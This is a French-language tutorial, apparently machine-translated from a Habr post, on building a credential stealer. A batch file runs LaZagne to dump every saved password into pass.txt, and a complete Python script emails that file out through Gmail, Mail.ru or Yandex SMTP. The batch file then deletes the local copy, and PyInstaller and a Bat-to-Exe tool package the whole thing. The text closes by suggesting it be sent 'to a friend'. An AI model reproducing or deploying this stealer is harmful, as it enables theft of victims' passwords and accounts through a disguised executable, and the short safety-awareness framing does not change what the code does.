Python Stiller avec e-mail

Que ferons-nous?


Bonjour, le lecteur d'aujourd'hui vous expliquera pourquoi vous n'avez pas besoin d'ouvrir des fichiers non vérifiés téléchargés à partir de sources inconnues et de créer un tel fichier pour comprendre ce qu'il peut faire sur votre PC. Nous allons créer un styler qui collectera tous nos mots de passe et nous les enverra par mail.


Que faut-il pour cela?


Nous aurons besoin de:


  1. Python 3.xx
  2. Outil de récupération de mot de passe (dans notre cas, LaZagne )
  3. Deux comptes Google

Et nous commençons donc


Tout d'abord, placez le fichier .exe de l'outil LaZagne dans le dossier contenant notre projet. Ensuite, créez un fichier .bat avec n'importe quel nom (j'aurai main.bat) et un fichier send.py.


Nous devrions obtenir cette structure:


Projet:


  • laZagne.exe
  • send.py
  • main.bat

Écrire un code


Ouvrez le fichier main.bat et mettez-y le code:


@Echo off laZagne.exe all > pass.txt 

Maintenant, lorsque vous exécutez notre fichier .bat, nous aurons un fichier pass.txt dans lequel tous vos mots de passe de navigateurs (et pas seulement) seront. Il ne reste plus qu'à envoyer des données à l'e-mail. Mais comment faire?


Envoi par courrier

Ouvrez le fichier send.py et collez le code:


 import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========   ========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #====================================== _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files) 

Vous devez maintenant configurer et, selon le service auquel vous allez envoyer du courrier, changer le code sélectionné: Google (vous devez d'abord autoriser l'accès pour les applications moins sécurisées ):


 server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() 

Mail.ru:


 server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit() 

Yandex:


 server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit() 

Terminer .bat

Maintenant, dans notre fichier .bat, ajoutez le code de lancement du fichier send.py et la suppression du fichier pass.txt:


 send.py del /s "pass.txt" 

Assemblage


Maintenant, après avoir exécuté main.bat, vos mots de passe seront envoyés à votre messagerie, mais si vous n'avez pas installé Python, alors rien ne fonctionnera, vous devez transformer notre fichier send.py en exe. Pour ce faire, ouvrez la console et écrivez:


 pip install pyinstaller pyinstaller --onefile send.py 

Néanmoins, nous devons transformer le fichier main.bat en main.exe, et Bat To Exe Converter nous aidera avec cela. Cliquez sur le bouton avec trois points ("...") et recherchez votre fichier main.bat, cliquez sur "Ouvrir", puis cliquez sur "Convertir" et obtenez le fichier main.exe. Ces trois fichiers sont notre styler, nous pouvons envoyer à un ami et profiter vérifier les performances.


Les références


Source: https://habr.com/ru/post/fr434356/


All Articles